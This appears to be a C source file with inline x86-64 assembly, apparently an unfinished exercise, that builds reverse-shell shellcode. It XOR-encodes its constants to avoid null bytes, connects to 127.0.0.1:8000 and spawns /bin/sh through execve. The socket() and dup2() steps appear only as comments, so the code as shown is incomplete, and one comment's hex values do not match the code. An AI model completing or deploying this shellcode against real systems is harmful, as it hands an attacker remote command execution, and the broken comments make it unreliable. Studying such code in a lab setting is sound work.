#include <stdio.h>

int main()
{ 
  /*===================================================================
     int sockfd = socket(AF_INET, SOCK_STREAM, 0)
   ===================================================================*/
  // first argument in %rdi: family - AF_INET (2)

  // second argument in %rsi: type - SOCK_STREAM (1)
  
  // third argument in %rdx: protocol = 0

  // syscall: socket() = 41

  // *** Note ***
  // %rax will contain sockfd


  /*=====================================================================
   sockaddr_in serv_addr
   serv_addr.sin_addr = inet_addr("127.0.0.1")
   serv_addr.sin_port = htons(8000); 
   serv_addr.sin_family = AF_INET;    

   connect(sockfd, &serv_addr, sizeof(serv_addr))
  
   // IDEA: PUSH serv_addr on the stack, then %rsp will be &serv_addr
  =====================================================================*/
  
  // serv_addr.sin_addr = inet_addr("127.0.0.1")
  // IP Address 127.0.0.1: 0x010000ff => 0x11111111 xor 0x101111116e
  asm("xor %rbx, %rbx");
  asm("push %rbx");

  asm("mov $0x11111111, %rbx");
  asm("xor $0x1011116e, %rbx");
  asm("push %rbx");

  // serv_addr.sin_port = htons(8000): 0x401f
  asm("mov $0x401f, %bx");      // %bx: last 2bytes of %rbx
  asm("push %bx");

  // serv_addr.sin_family = AF_INET (2);    
  asm("xor %rbx, %rbx");
  asm("add $2, %bx");
  asm("push %bx");

  // connnect():
  // first argumement in %rdi -- sockfd
  asm("mov %rax, %rdi");
  // second argument in %rsi -- &serv_addr
  asm("mov %rsp, %rsi");
  // third argument in %rdx -- length = 16 
  asm("xor %rdx, %rdx");
  asm("add $16, %rdx");
  // syscall: connect() = 42
  asm("mov $42, %al");
  asm("syscall");

  /*============================================================
  // **** redirection through dup() ****
    dup2(sockfd, 0); //stdin
    dup2(sockfd, 1); //stdout
    dup2(sockfd, 2); //stderr
  ============================================================*/
  // dup2(sockfd, 0); //stdin


  // dup2(sockfd, 1); //stdout


  // dup2(sockfd, 2); //stderr


  /*=================================================================
    char* file = "/bin/sh";

    char* argv[2];
    argv[0] = file;
    argv[1] = 0;

    char** env = 0;

    execve(file, argv, env);
  ==================================================================*/
  // first argument: rdi
  asm("movabsq $0x1111111111111111, %rax");
  asm("movabsq $0x1179623e7f78733e, %rbx");
  asm("xor %rbx, %rax");
  asm("push %rax");
  asm("mov %rsp, %rdi");

  // second argument: rsi
  asm("xor %rax, %rax");
  asm("push %rax");
  asm("push %rdi");
  asm("mov %rsp, %rsi");

  // third argumet: rdx
  asm("xor %rdx, %rdx");

  // execve
  asm("mov  $59, %al");
  asm("syscall");

  return 0;
}